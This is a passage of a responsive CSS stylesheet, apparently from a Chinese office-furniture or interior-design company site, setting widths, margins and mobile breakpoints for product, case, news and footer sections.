}
#list_jingxuan ul li .aa {
padding: 10px 0;
display: block
}
#top {
width: 1100px;
height: 520px
}
#top .fl,#top .fr {
width: 48%
}
#top .fr .xuqiu {
padding-top: 90px;
padding-left: 40px;
width: 460px
}
#top .fl p {
padding: 0 20px
}
#top .fr .xuqiu p {
font-size: 14px
}
#top .fl img,#top .fr img {
width: 100%!important;
height: auto!important
}
#left {
width: 233px
}
#tonglei {
width: 99%
}
div#article_body p#tonglei_title,ul#tonglei_show2 {
width: 91%
}
ul#rexiao_show li,ul#tonglei_show2 li {
width: 100%
}
ul#tonglei_show2 li {
margin-bottom: 10px;
height: auto
}
ul#tonglei_show2 li p {
padding: 10px 0
}
ul#rexiao_show li img,ul#tonglei_show2 li img {
width: 90%;
height: auto
}
#right {
width: 100%;
padding: 0
}
.samerecommend .tuijianlist {
width: 100%
}
.samerecommend .tuijianlist li {
width: 165px;
margin: 15px 20px 0 0
}
.samerecommend .tuijianlist li:last-child {
margin-right: 0
}
.quanguodingzhi,.quanguodingzhi img {
width: 100%
}
.samerecommend .tuijianlist li a:first-child {
width: 165px;
height: 120px;
overflow: hidden;
display: block
}
.samerecommend .tuijianlist li a img {
height: 100%
}
.project-detail-center .xiangmu-t {
font-size: 18px;
margin: 30px 0 10px
}
.project-detail-center p {
width: 100%
}
.project-detail-center img {
margin: 20px 30px 20px 0
}
#tonglei_title2 {
width: 98%
}
.inner-menu {
width: 230px
}
.product-list-ul {
width: 1100px
}
.product-list-ul .ul ul {
width: 100%
}
.product-list-ul .ul .list-li {
width: 250px
}
.product-list-ul .ul .list-li .img {
height: 160px
}
.product-list-ul .ul .list-li img {
width: 100%;
height: 160px
}
#list_jingxuan {
width: 1100px;
margin-bottom: 40px
}
#list_jingxuan ul {
width: 100%
}
#list_jingxuan ul li:last-child {
margin-right: 0
}
#list_jingxuan ul li img {
height: 113px
}
div#article_top_show {
width: 1100px;
height: auto;
margin: 10px auto 0
}
div#article_top_show p.pic {
width: 480px;
height: 320px
}
div#article_top_show div#text {
width: 590px;
float: right;
margin-left: 0
}
.chanpin-detail {
overflow: hidden;
padding: 5px 0;
height: auto;
width: 100%
}
.chanpin-detail p {
width: 52%
}
div#article_body {
width: 1100px;
margin: 0 auto 20px
}
.why_pic img {
width: 100%
}
div#article_body div#right div#article_theme {
width: 99.8%
}
.chanpin-newcommon-body ul {
padding: 10px 110px
}
.chanpin-newcommon-body ul li {
width: 30%;
margin: 0 4.5% 3% 0;
padding-bottom: 10px;
min-height: 275px
}
.chanpin-newcommon-body ul li img {
width: 100%
}
.chanpin-newcommon-body .des-friend-list li img {
height: 100%;
width: auto
}
.chanpin-newcommon-body li p {
padding: 0 20px
}
.chanpin-newcommon-body .des-friend-list li {
width: 16.5%;
height: 100px;
overflow: hidden
}
ul#tuijian_show {
width: 100%
}
ul#tuijian_show li {
width: 92%;
padding: 2% 4%
}
ul#tuijian_show li img {
width: 100%
}
.product-list-banner img {
width: 100%
}
.product-des-public .des-public {
padding: 0 6%;
width: 17%
}
.product-des-public .des-public:first-child {
width: 18%
}
.product-erjimenu ul {
width: 1280px
}
.product-erjimenu li>a {
padding: 18px 0 18px 0;
margin-right: 35px
}
.about-erjimenu li:last-child a {
padding-right: 0
}
.prod-service .innerimg {
margin-left: -300px
}
.prod-chejian p {
font-size: 16px;
width: 675px;
line-height: 30px
}
.prod-service p {
font-size: 18px
}
.dingzhi-erjimenu .w2 {
width: 900px
}
.dingzhi-erjimenu li>a {
padding: 18px 0 18px 0;
margin-right: 40px
}
#old-prod-inner {
width: 1100px
}
.product-erjimenu .down-menu {
top: 58px
}
#tuijian_hr_bottom {
margin-bottom: 0
}
.product-des-public .center {
width: 25%
}
.chanpin-newcommon-body .des-friend-list {
width: 100%;
padding: 1px
}
.chanpin-newcommon-body .des-friend-list li:nth-of-type(7),.chanpin-newcommon-body .des-friend-list li:nth-of-type(8),.chanpin-newcommon-body .des-friend-list li:nth-of-type(9) {
display: none
}
.chanpin-color .tit,.chanpin-fenlei .tit {
padding-left: 10px
}
.chanpin-fuwu .first {
width: 70px
}
#text .online span {
padding-left: 10px
}
.prod-service {
margin: 50px auto
}
.prod-detail li {
margin-bottom: 50px
}
.prod-detail li img {
width: 55%
}
.prod-detail li span {
padding: 35px 30px
}
.prod-detail2 {
margin-top: 50px
}
.prod-detail2 li {
margin: 0 3% 4% 0;
width: 46%
}
.prod-detail2 li img {
width: 47%
}
.prod-detail2 li span {
width: 45%;
padding: 4% 4%
}
.prod-baozhuang {
margin: 50px auto
}
.prod-zuhe {
margin: 50px auto
}
.prod-zuhe {
padding-bottom: 50px
}
.chanpin-fenlei .tit {
margin-top: 0
}
.chanpin-fenlei span {
padding: 2px 4px;
margin: 5px 7px
}
.chanpin-detail p {
line-height: 26px
}
.prod-share>img {
width: 80%
}
.chanpin-color {
margin: 15px 0 0
}
.chanpin-fuwu {
padding: 10px 0
}
#text .online {
margin: 15px 0 0
}
#text .online a {
font-size: 16px;
width: 120px;
height: 40px;
line-height: 40px
}
.prod-mianze .prod-tit {
padding-top: 40px;
margin-bottom: 20px
}
.prod-mianze a {
margin-top: 20px
}
.mianze-down dd,.mianze-down p {
font-size: 14px
}
.samerecommend .tuijianlist li p a {
height: auto!important
}
.prod-tuijian {
margin-bottom: 30px
}
.news-main-pro {
width: 1100px
}
.news-erji-menu li {
width: 110px;
height: 54px;
line-height: 54px
}
.w_fl {
width: 750px;
padding: 0 30px 0 30px
}
.w_fl222 {
width: 750px;
padding: 0 30px 0 30px
}
.news-list-right {
width: 238px;
margin: 30px 15px 0 24px
}
.news-list-right h3 {
margin: 6px auto 10px
}
.swiper-container .content-slide div {
padding: 0 25px
}
.news-body {
padding: 0
}
.news-body .gwb2 span {
font-size: 14px;
margin-left: -132px;
padding: 6px 31px
}
.pro_main ul {
width: 100%
}
.huodong-list {
width: 1100px
}
.pro_main ul li.list-li {
width: 23.5%;
margin: 0 2% 22px 0
}
.pro_main ul li.list-li:nth-child(4n) {
margin-right: 0
}
.huodong-list ul li.list-li .img {
height: 128px
}
.content_banner {
width: 1100px
}
.content_banner img {
width: 100%!important;
height: auto!important
}
.sheji-bigimg,.sheji-opimg {
width: 100%;
height: auto
}
.pingfengzhuanqu .box01 .left {
width: 45%;
height: 135px
}
.pingfengzhuanqu .box01 .right {
width: 50%;
height: auto
}
.pingfengzhuanqu .list01 li {
margin-right: 4%;
width: 48%
}
.pingfenglist02 .left,.pingfenglist02 .leftt {
margin-right: 3%;
width: 47%
}
.pingfenglist02 .left li {
margin-right: 4%;
width: 48%
}
.pingfenglist02 .leftt li {
width: 48%;
margin-right: 4%
}
.pingfenglist02 .left li img,.pingfenglist02 .leftt li img {
width: 100%
}
.pingfenglist02 .left li.first,.pingfenglist02 .leftt li.first {
height: 172px
}
.anlibox {
width: 1100px
}
.anlibox01 {
width: 54%;
margin: 21px 1% 0 0
}
.anlibox>img {
width: 45%;
margin-top: 33px
}
.anlibox01 img {
margin-top: 20px;
width: 48%;
margin-right: 2%
}
.anlibox01 img:last-child {
margin-right: 0
}
.zhantinginner01 {
width: 1100px
}
.commencontent {
width: 1100px
}
.anlibox02 {
width: 100%
}
.anlibox02 li:first-child {
width: 49%
}
.anlibox02 li {
width: 24%;
margin-right: 1%
}
.anlibox02 li img {
width: 100%
}
.anlibox02 li p {
margin: 15px 0 20px 0
}
.commencontent .more {
margin: 20px 0 10px 0
}
.anlibox022 li {
width: 32%;
margin-right: 1.3%
}
.anlibox022 li:first-child {
width: 32%
}
.anlibox0222 li {
width: 48%;
margin-right: 2%
}
.anlibox0222 li:first-child {
width: 48%
}
.anlibox02222 li {
width: 24%;
margin-right: 1%
}
.anlibox02222 li:first-child {
width: 24%
}
.bangongzhuozhuanqu,.ww3 {
width: 1100px
}
.ww3 img {
width: 100%
}
.anlibox .anlibox001 {
width: 54%;
margin: 21px 1% 0 0
}
.bangongzhuozhuanqu .zhiyuan {
width: 48%;
margin: 0 1%
}
.bangongzhuozhuanqu .zhiyuan img {
width: 100%
}
.bangongzhuozhuanqu .pingfenglist022 {
width: 1100px
}
.pingfenglist022 .leftt {
margin-right: 0
}
.pingfenglist022 .leftt li {
width: 23%;
margin-right: 2%
}
.bangongzhuozhuanqu .pingfenglist022 li.special {
width: 23%
}
.pingfenglist02 .left img,.pingfenglist02 .leftt img {
width: 100%
}
.banggongzhuozhuanqu002 .leftt {
width: 49%;
margin-right: 0
}
.banggongzhuozhuanqu002 .leftt li {
width: 41%;
margin-right: 9%
}
.banggongzhuozhuanqu002 .leftt li img,.bangongzhuozhuanqu .chair li img {
width: 100%
}
.bangongzhuozhuanqu .chair li {
width: 21%;
margin-right: 4%
}
.sjbj-content .sjbjul01 {
margin: 125px auto 143px;
padding: 0
}
.sjbj-content .onlinezixun {
width: 700px
}
.sjbj-content .sjbjul011 {
padding: 0 190px 0 0
}
.sjbj-content .sjbjul012 {
padding: 0 0 0 190px
}
.sjbj-content .sptitle {
height: 118px;
font-size: 32px
}
.sjbj-content .onlinezixun li {
margin-bottom: 65px
}
.sjbj-content .sjbjul012 li {
margin-bottom: 155px
}
.sjbj-content .celiang {
width: 815px
}
.sjbj-content .sptitle-center2 {
width: 100px
}
.sjbj-content .shejichutu {
margin: -90px 0 60px 0
}
.sjbj-content .sptitle-left {
margin: 0 0 0 70px
}
.sjbj-content .shejichutu {
margin: -25px 0 60px 0
}
.sptitle-outer {
padding-top: 15px
}
.sjbj-content .shouhoufuwu {
height: 280px
}
.sjbj-content .wumeijiayou li {
padding: 0 65px
}
.syhz-content img.right {
width: 60%;
margin-top: 30px
}
.zhantinglist li {
width: 32%;
margin-right: 1.3%;
height: auto
}
.zhantinglist a img {
width: 100%
}
.bangongshi-list-01 li {
width: 15%;
height: auto;
margin-right: 2%
}
.bangongshi-list-011 li {
width: 10%
}
.bangongshi-list-02 li {
margin-right: 2%;
width: 24%
}
.bangongshi-list-02 li:first-child {
width: 48%
}
.bangongshi-list-02 li img {
width: 100%;
height: 180px
}
.bangongshi-list-02 li .img {
height: auto
}
.bangongshi-box01 {
overflow: hidden;
zoom: 1;
height: auto
}
.bangongshi-box01 .left,.bangongshi-box01 .right {
width: 49%;
height: auto
}
.bangongshi-box01 .left-box01 {
width: 40%;
padding: 25px 0 0 30px;
height: 150px;
margin: 50px 20px 0 0
}
.bangongshi-box01 .left-box02 {
width: 47%;
height: 175px
}
.bangongshi-box01 .left-box02 img {
width: 100%
}
.bangongshi-box01 .left img,.bangongshi-box01 .right img {
width: 100%
}
.bangongshi-box01 .left-box02 {
margin-top: 50px
}
.bangongshi-box01 p {
padding-left: 35px
}
.bangongshi-box01 .bangongshi-left-ul li {
width: 48%;
margin-right: 3.5%;
height: auto;
margin-bottom: 16px
}
.honorlist li {
width: 25%;
margin-right: 2%
}
.honorlist li img {
width: 100%
}
.xuexiao-box01 .right a {
height: auto;
width: 100%
}
.xuexiao-box02 .right a {
width: 48%;
margin: 0 3% 13px 0;
height: auto;
float: left
}
.canyin-list .canyin-list01 {
width: 48.5%;
height: auto;
margin-right: 3%
}
.canyin-list .canyin-list02 {
width: 32%;
height: auto;
margin-right: 2%
}
.canyin-list .special {
margin-right: 0
}
.canyin-list li img {
width: 100%
}
.canyin-list2 .left {
width: 50%
}
.canyin-list2 .left img {
width: 100%
}
.canyin-list2 .right {
width: 47%
}
.canyin-list2 .right li {
width: 46%;
height: auto
}
.canyin-list2 .right .text {
width: 42%;
height: auto;
padding: 1% 3%;
height: 154px;
margin-bottom: 53px
}
.canyin-list22 li {
width: 23%;
height: auto;
margin: 0 2% 26px 0
}
.canyin-list22 li img {
width: 100%
}
.canyin-list22 .text {
width: 19%;
height: 153px;
margin-bottom: 62px;
padding: 10px 19px
}
.zhanting-list .left {
width: 70%;
float: left
}
.zhanting-list .right {
width: 30%
}
.zhanting-list .left li {
width: 48%;
margin-right: 4%
}
.zhanting-list .left img {
width: 100%
}
.zhanting-list .top li {
width: 49%;
margin-right: 2%;
height: auto
}
.zhanting-list .bottom li {
width: 32%;
height: auto
}
.zhanting-list .right img {
padding: 55px 85px
}
.list-fangan {
margin-top: 15px
}
.list-fangan .list-fa {
width: 350px;
margin: 10px 25px 15px 0;
height: 300px
}
.list-fangan .list-fa .tit {
height: 47px;
font-size: 16px;
line-height: 47px;
margin: 15px auto 30px
}
.fangan-inner .des-box li {
width: 332px;
margin-right: 50px
}
.fangan-inner .des-box a {
height: auto;
margin-bottom: 15px
}
.fangan-inner .des-box p {
font-size: 14px;
margin-left: 20px;
line-height: 26px
}
.fangan-inner .des-box2 .w2 {
width: 720px
}
.footer-inner {
width: 1100px;
margin: 40px auto
}
.foot-left {
width: 530px
}
.foot-left dl {
margin-right: 30px
}
.foot-center {
padding: 0 25px
}
.foot-center dl:last-child {
margin-left: 40px
}
.foot-right {
width: 325px;
padding-left: 25px
}
.foot-right .bottom .number {
font-size: 26px
}
.foot-right .bottom .kefu {
margin: 0 25px
}
.foot-right .center {
margin-bottom: 20px
}
.prod-detail-1 li {
margin-bottom: 50px
}
.prod-detail-1 li img {
width: 500px
}
.prod-detail-1 li span {
padding: 30px 90px 35px;
font-size: 14px
}
.prod-detail-2 {
margin-top: 50px
}
.prod-detail-2 li {
margin: 0 3% 4% 0;
width: 46%
}
.prod-detail-2 li img {
width: 47%
}
.prod-detail-2 li span {
width: 45%;
padding: 0 4% 0 4%;
line-height: 24px
}
.prod-safe li img {
width: 520px
}
.prod-title1 {
font-size: 22px
}
.prod-safe li span {
font-size: 14px;
padding: 30px 80px
}
.prod-ques .aa,.prod-ques .qq {
margin-left: 0;
padding-left: 0
}
.prod-service .prod-service-con .prod-service-sec {
width: 274px
}
.fr-n {
padding-left: 2px;
vertical-align: top
}
.fl-n img {
width: 40px
}
.prod-service p.prod-p {
line-height: 10px
}
.prod-service {
margin: 50px auto 55px
}
.prod-service .prod-service-con {
margin-bottom: 15px
}
#cc-index-header .top .slide-nav .nav-action>ul>li {
padding-left: 20px
}
#cc-index-header .top .all-products .nav-action-menu li {
padding: 0 12px
}
#cc-index-header .bottom .nav>li .nav-sub-menu {
padding-top: 20px
}
#cc-index-header .bottom .nav>li .nav-sub-menu li {
margin-top: 20px
}
.cc-index-common .goods-list ul li {
width: 265px
}
.cc-index-fangan .wrapper ul li {
width: 540px
}
.cc-index-zonghe .w-1228>._left {
width: 572px;
height: 372px
}
.cc-index-zonghe .w-1228>._right {
width: 528px;
height: 372px
}
.cc-index-zonghe .w-1228 ._top ._left,.cc-index-zonghe .w-1228 ._top ._right {
width: 254px;
height: 178px
}
.cc-index-zonghe .w-1228 ._bottom {
width: 518px;
height: 184px;
}
.cc-index-news .wrapper ._left {
width: 726px
}
.cc-index-news .wrapper ._right {
width: 297px
}
.cc-index-news .wrapper .article-list li a {
width: 250px
}
.cc-index-news .wrapper .tab-nav ul li {
width: 70px;
font-size: 13px
}
#cc-index-footer .wrapper .top .top-l {
width: 189px
}
#cc-index-footer .wrapper .top .top-r {
padding-left: 50px
}
#cc-index-footer .wrapper .bottom p a,#cc-index-footer .wrapper .bottom p span {
font-size: 14px
}
#cc-index-header .top-inner .slide-nav-right>ul>li {
padding-right: 20px
}
.input_box {
right: 300px
}
#cc-index-header .slide-nav-right #car-box {
right: 255px
}
#cc-index-header .top .slide-nav-right>ul>li {
padding-right: 20px
}
#cc-index-header .slide-nav-right #car-box #car_num {
right: 13px
}
.add_car_fix {
height: 64px
}
.add_car_fix .fix_r .fix_r_add {
width: 180px;
height: 40px;
line-height: 40px;
font-size: 15px;
margin-top: 12px
}
.add_car_fix .fix_r .fix_r_car {
height: 38px;
font-size: 15px;
margin-top: 12px
}
.add_car_fix .fix_r .fix_r_car .fix_img img {
width: 25px;
height: 25px;
margin-top: 6.5px
}
.add_car_fix #car_num_fix {
width: 15px;
height: 15px;
line-height: 15px;
border-radius: 7.5px
}
.add_car_fix .fix_r .fix_r_car .fix_img {
height: 38px;
line-height: 38px
}
.add_car_fix .fix_l ul li {
height: 64px;
line-height: 64px
}
.add_car_fix .fix_l ul li a {
font-size: 15px
}
#article_top #add_to_deal {
height: 36px;
line-height: 36px
}
.add_car_fix .fix_r .triangle {
bottom: -13px
}
.edit .design_info .img .image{
width: 48%;
height: 310px;
margin: 1% 1% 1% 0;
float:left;
border:1px solid #eaeaea;
line-height: 310px;
}
/*��Ʒ��Сͼ��д�߶�*/
.edit .case_part .wrapper .anli-list dl dt {
width: 100%;
height: 150px;
line-height: 0;
text-align: center;
}
.edit .product_part .wrapper .similar-list dl dt{
width: 100%;
height: 126px;
line-height: 0;
text-align: center;
}
.edit .support_product_part .wrapper .support-list dl dt{
width: 100%;
height: 126px;
line-height: 0;
text-align: center;
}
}
@media screen and (max-width:1390px) {
.w-spe {
width: 960px
}
}
@media screen and (max-width:750px) {
.single-recommend-img a{margin-top: 1px;}
.single-recommend-img{width: 100%;}
.templet-text{width: 100%;padding-top: 20px;}
body {
width: 100%;
overflow-x: hidden
}
.input_r_btn{
margin-right: 66%;
}
.w_fl222 .next-pre li:first-child {
float: none
}
.w_fl222 .next-pre li:last-child {
float: none
}
.w_fl222 .next-pre a {
margin: 0 auto 20px
}
.pc-show {
display: none
}
.ww {
width: 100%;
overflow: hidden
}
.phone-show {
display: block
}
#inner-menu-top {
max-height: 110px;
position: fixed!important;
top: 0!important;
opacity: 1!important
}
.contact_on {
display: none
}
.w3 {
width: 96%;
padding: 0 2%
}
.w2 {
width: 96%;
padding: 0 2%;
display:none;
}
.w {
width: 96%;
padding: 0 2%
}
.phone-hide {
display: none
}
#aboutBcs {
width: 96%;
padding: 0 2%;
overflow: hidden;
white-space: nowrap;
text-overflow: ellipsis;
margin: 55px auto 0 auto
}
.mbx-anli {
margin: 55px auto!important
}
#indexTopBg {
display: none
}
#logo {
width: 100%;
margin: 0 auto;
text-align: center;
padding: 10px 0
}
#logo a {
float: none;
display: inline-block;
width: 70%
}
#logo a img {
width: 100%;
height: auto
}
#head {
height: 110px
}
#navigation {
width: 100%;
overflow: auto;
width: 100%
}
#navigation .w2 {
overflow-x: auto;
border-top: 1px solid #eee;
border-bottom: 1px solid #eee;
overflow-y: hidden;
width: 440px
}
.hr_nav li:last-child {
display: none
}
.hr_nav {
height: 46px;
line-height: 46px
}
.hr_nav li {
height: 46px;
line-height: 46px
}
.slideBox {
width: 100%;
height: auto;
margin-top: 110px
}
.slideBox .hd {
bottom: 0
}
.slideBox .hd ul li {
width: 20px;
height: 3px
}
.slideBox .bd li {
width: 100%
}
.slideBox .bd {
width: 100%;
left: 0;
top: 0;
margin: 0
}
.slideBox .bd li img {
width: 100%;
height: auto;
display: block
}
.slideBox .bd>a {
display: none
}
.index-xinpin {
width: 96%;
padding: 2%;
margin: 30px auto
}
.index-xinpin>img {
width: 100%!important;
height: auto!important
}
.index-xinpin .text {
width: 94%;
padding: 3%
}
.index-anli ul li {
width: 100%;
margin: 0 0 3% 0
}
.index-anli li .text {
width: 58%
}
.index-anli ul li p {
padding: 0 10px
}
.slideTxtBox ul li {
width: 48.4%;
margin: 0 2% 10px 0!important
}
.slideTxtBox ul li:nth-child(2n) {
margin-right: 0!important
}
.slideTxtBox ul li:nth-of-type(7),.slideTxtBox ul li:nth-of-type(8) {
margin-bottom: 0!important
}
.index-friend .index-friend-list li {
width: 24.7%;
height: 75px
}
.index-peitao-level2 {
width: 75%
}
.import_news .ptfa .cc3 {
width: 100%;
margin-right: 0
}
.import_news .ptfa li .right {
width: 98%
}
.import_news .ptfa li {
margin-bottom: 5%
}
.index-line {
width: 100%
}
.hr_nav ul {
width: 750px
}
.index-product1 ul li .img {
height: auto!important
}
.jingdian {
margin: 10px auto
}
.zhengti {
margin: 0 auto 30px
}
.index-fangan {
margin: 30px auto
}
.index-chejian {
margin-top: 0
}
.index-chejian .h2_com {
margin: 10px auto 5px
}
.index-about {
margin: 15px auto 10px
}
.quest .bd .index-xinwen-list li {
width: 96%;
height: 70px;
border-right: 0
}
.quest .fr {
float: none
}
.index-fenlei {
overflow-x: auto;
width: 580px;
margin: 10px auto;
height: 22px;
overflow: hidden
}
.index-xm-list {
overflow: auto
}
.index-xm-list .erji-menu2 {
width: 375px;
height: 22px;
overflow: hidden
}
.index-xm-list .erji-menu3 {
width: 680px;
height: 22px;
overflow: hidden
}
.index-xm-list .erji-menu4 {
width: 880px;
height: 22px;
overflow: hidden
}
.index-anli .list-li2 .index-proj-logo {
width: 60px;
top: 21%;
margin-left: -30px
}
.index-anli .list-li2:hover .index-proj-logo {
top: 20%
}
.index-anli .dingzhi-anli-list .list-li2:hover {
height: 350px
}
.index-anli .list-li2 a span {
margin: 30px 0 0 0
}
.slideTxtBox ul li .title {
margin: 10px auto 5px;
height: 16px
}
.youlian div {
padding: 10px
}
.youlian div a {
width: 33.3%
}
.dibu-menu,.liu {
display: none
}
.footer_down {
height: auto;
width: 80%;
padding: 25px 10%
}
.h2_com_2 {
margin: 0 0 13px 0;
padding-top: 15px
}
.h2_com em {
font-weight: 400;
height: 32px;
line-height: 36px
}
.index-fangan ul li {
width: 99.7%;
margin-right: 0;
float: none;
position: relative
}
.index-fangan ul li:first-child {
margin-bottom: 20px
}
.index-fangan li .img {
float: none;
display: block;
margin: 0 auto;
float: none
}
.index-fangan ul li img {
width: 100%;
height: auto
}
.index-fangan li .text {
width: 100%;
float: none;
padding: 1px 0 5px 0
}
.index-fangan ul li span {
margin: 0;
position: absolute;
top: -15%;
left: 50%;
margin-left: -50px
}
.index-fangan ul li p {
padding: 10px
}
.index-about {
width: 100%
}
.index-about>img {
width: 100%
}
.index-about .text {
width: 94%;
padding: 3%
}
#header2 {
display: none
}
.hr_nav li a {
padding: 0 2px
}
.index-news {
overflow: hidden;
margin-top: 0
}
.index-news .h2_com {
padding: 20px 0 0
}
.index-outerbox {
padding-bottom: 0
}
.index-news .quest {
padding-bottom: 10px;
margin-bottom: 20px
}
.index-news .text .des {
height: 190px
}
.index-news .btn span {
font-size: 30px
}
.index-news .btn .next {
right: 5%;
top: 60%
}
.index-news .btn .prev {
left: 5%;
top: 60%
}
.index-xm-list .index-fenlei a {
max-height: 999999px;
max-width: 999999px
}
.index-anli .dingzhi-anli-list .list-li2 {
margin: 0 2% 3% 0;
height: 370px
}
.h2_com p {
width: 78%;
margin: 0 auto;
line-height: 18px;
padding-top: 2px;
font-size: 12px
}
.index-friend img {
margin-top: 10px
}
.index-peisong {
margin: 0 auto;
padding: 10px 0
}
.index-peisong .img {
margin-top: 10px
}
.index-peisong .imgli {
margin-right: 0
}
.index-peisong img {
width: 90%;
margin: 10px auto 0;
height: auto
}
.index-peisong .p1 {
font-size: 16px
}
.index-peisong .p2 {
font-size: 12px
}
.index-product {
margin-top: 0
}
.jingdian ul li {
width: 100%!important;
margin-bottom: 20px!important
}
.index-friend {
margin-top: 10px
}
.youlian {
margin-bottom: 30px
}
.youlian p {
padding: 20px 0 8px 8px
}
.dingzhi-anli-list {
width: 96%;
padding: 0 2%
}
.dingzhi-anli-list .list-li2 {
width: 48%;
margin-right: 2%;
height: 280px;
min-height: 280px
}
.dingzhi-anli-list .list-li2:nth-child(2n) {
margin-right: 0
}
.dingzhi-anli-list .list-li2 .img {
height: auto;
width: 100%
}
.dingzhi-anli-list .list-li2 span {
margin: 10px 0 5px 0;
padding: 0 10px 0
}
.dingzhi-anli-list .list-li2 p {
height: auto;
padding: 0 10px;
height: 105px
}
.dede_pages .pagelist {
width: 100%;
padding: 0
}
#list_jingxuan {
width: 99%
}
#list_jingxuan ul li {
width: 46%;
margin: 3% 2% 0 2%
}
#top {
width: 100%;
height: auto
}
#top .fl,#top .fr {
width: 100%;
height: auto;
float: none;
text-align: center
}
#top .fl img,#top .fr img {
position: relative
}
#top .fl img {
width: 80%!important;
margin: 20px 0
}
#top .fl .title {
font-size: 20px;
padding: 10px 0 10px 10px
}
#top .fl p {
padding: 0 10px
}
#top .fr .xuqiu {
background: 0 0;
padding-top: 0;
padding-left: 0;
width: 100%;
text-align: left;
margin-top: 20px
}
#tonglei_title2 {
width: 98%;
margin-bottom: 15px
}
.samerecommend .tuijianlist li {
width: 48%;
margin: 1% 1%;
height: 160px
}
.project-detail-center p {
width: 100%;
line-height: 24px
}
.project-detail-center .project-title {
font-size: 20px;
margin-bottom: 5px
}
.project-detail-center .p1 {
margin-bottom: 20px;
line-height: 24px;
font-size: 15px
}
.anlibox>img {
width: 70%;
margin-top: 20px
}
.anlibox {
width: 100%;
margin: 20px 0 0 0
}
.anlibox01 {
width: 100%;
margin: 0 1% 0 0
}
.anlibox01 img {
margin-right: 2.5%
}
.anlibox {
text-align: center
}
.kehuanli-huisebg01 {
height: 160px!important
}
.anlibox02 li:first-child {
width: 100%
}
.anlibox02 li {
width: 32%;
margin-right: 1.3%
}
.anlibox02 li p {
margin: 15px 0
}
.commencontent .moree a {
width: 180px!important;
height: 40px;
line-height: 40px
}
.kehuanli-huisebg02 {
height: 180px!important
}
.kehuanli-huisebg02 .anlihuise {
padding-top: 15px
}
.anlibox022 li {
width: 47%;
margin-right: 6%
}
.anlibox022 li:last-child,.anlibox0222 li:last-child {
margin-right: 0
}
.anlibox0222 li {
width: 47%!important;
margin-right: 5%
}
.project-detail-center img {
margin: 16px 0;
width: 90%
}
.dingzhi-erjimenu {
display: block!important;
overflow: auto;
border: 0;
top: 46px;
background: #f5f5f5
}
.dingzhi-erjimenu .w2 {
overflow-x: auto;
width: 720px;
background: 0 0
}
.dingzhi-erjimenu li {
width: 80px;
height: 40px;
line-height: 40px
}
.dingzhi-erjimenu li.on a {
color: #b4a078
}
.list-fangan {
margin: 0 0 25px 0
}
.list-fangan .list-fa {
margin: 15px 0;
width: 100%;
height: 260px
}
.list-fangan .list-fa .tit {
height: 36px;
font-size: 14px;
line-height: 36px;
margin: 10px auto 0
}
.fangan-inner .title {
width: 65%;
height: 50px;
margin: 20px auto 10px;
font-size: 18px;
line-height: 50px
}
.fangan-inner .des {
width: 90%;
margin: 0 auto;
line-height: 26px;
font-size: 14px
}
.fangan-inner .box {
width: 100%;
height: auto;
margin: 25px auto
}
.fangan-inner .box-inner {
width: 100%;
height: auto;
margin: 0 auto;
padding: 0
}
.fangan-inner .plan {
font-size: 16px;
margin: 15px auto 10px
}
.fangan-inner .box-inner>img {
padding-top: 15px;
width: 96%;
margin: 10px auto;
background: #fff
}
.fangan-inner .plan img {
width: 25px
}
.fangan-inner .des-box {
padding-bottom: 0
}
.fangan-inner .des-box li {
width: 100%;
margin: 0 0 25px 0
}
.fangan-inner .des-box a {
width: 60%;
margin: 0 auto 10px
}
.fangan-inner .des-box2 .w2 {
width: 100%
}
.wenxintishi {
font-size: 20px;
margin: 0 auto 5px auto
}
.wenxintishi-list {
background: 0 0;
width: 94%;
margin: 0 auto;
padding: 3%;
font-size: 14px;
line-height: 26px;
height: auto
}
.fangan-inner .see-more {
width: 50%;
height: 40px;
margin: 10px auto 30px;
line-height: 40px;
font-size: 14px
}
.aboutinner {
width: 96%
}
.about-public-content p {
width: 94%;
margin: auto
}
.about-content {
padding-bottom: 30px
}
.about-public-content .about-title {
font-size: 20px;
margin: 30px 0 15px
}
.aboutbody {
margin-bottom: 50px
}
.aboutbody .huanying {
font-size: 20px;
padding: 30px 0 15px
}
.ab-common,.aboutbody .normal {
width: 100%
}
.rongyulist {
margin-top: 20px
}
.rongyulist02 {
margin-top: 0
}
.rongyulist04 li {
width: 31%;
margin-right: 3%
}
.rongyulist04 li:nth-of-type(3) {
margin-right: 0
}
.rongyulist04 li img {
width: 100%
}
.rongyulist04 li:last-child {
padding-top: 0;
float: none;
margin: 0 auto;
clear: both;
width: 90%
}
.rongyulist01 li {
margin-right: 4%;
width: 48%;
margin-left: 0;
float: left
}
.rongyulist02 li,.rongyulist03 li {
width: 31%;
margin-right: 3%;
float: left;
margin-left: 0
}
.rongyulist03 li:first-child img,.rongyulist03 li:last-child img {
width: 100%
}
.rongyulist01 li:nth-child(2),.rongyulist02 li:nth-child(3),.rongyulist03 li:nth-child(3) {
margin-right: 0
}
.rongyulist01 li img,.rongyulist02 li img,.rongyulist03 li img {
height: 130px
}
.rongyulist01 .last,.rongyulist02 .first {
width: 94%;
float: none;
padding-top: 0;
margin: 0 auto;
clear: both
}
.rongyulist02 .first {
margin-bottom: 10px
}
.rongyulist li .title {
font-size: 20px;
padding-bottom: 0
}
.about-dingzhi-content img {
display: none
}
.about-dingzhi-content ul li {
float: none;
margin-bottom: 0;
height: auto;
width: 92%;
background: url(../images/dingzhi-li-bg.png) no-repeat 0 10px;
background-size: 30px 30px
}
.about-dingzhi-content ul li {
padding: 3% 0 2% 8%
}
.about-dingzhi-content li span {
left: 10px;
top: 14px;
font-weight: 700;
font-size: 16px
}
.about-dingzhi-content li:last-child span {
left: 4px
}
.about-dingzhi-content li p {
font-size: 13px;
padding-left: 2%
}
.about-dingzhi-content li .tit {
font-size: 16px;
padding-left: 4%
}
.lxwm-content .ul1 {
margin-top: 20px
}
.lxwm-content .ul1 li:first-child {
width: 94%
}
.lxwm-content .ul1 li:first-child>img {
width: 100%
}
.lxwm-content .ul1 li .title {
margin: 12px 0 5px;
font-size: 16px
}
.lxwm-content .ul1 li:first-child .title {
margin: 12px 0 5px;
font-size: 16px
}
.lxwm-content .ul1 li .p2 {
line-height: 22px;
padding: 10px 0 0 0
}
.lxwm-content .ul1 li:first-child .p3 {
line-height: 22px
}
.lxwm-content .ul1 li:first-child .wenzi {
width: 100%
}
.lxwm-content .ul1 li,lxwm-content .ul1 li:last-child {
width: 44.9%;
margin-right: 3%;
min-height: 370px
}
.lxwm-content .ul1 li .wenzi,.lxwm-content .ul1 li img {
width: 100%
}
.lxwm-content .ul3 {
margin-top: 20px
}
.lxwm-content .ul3 li {
margin-right: 4%;
width: 48%
}
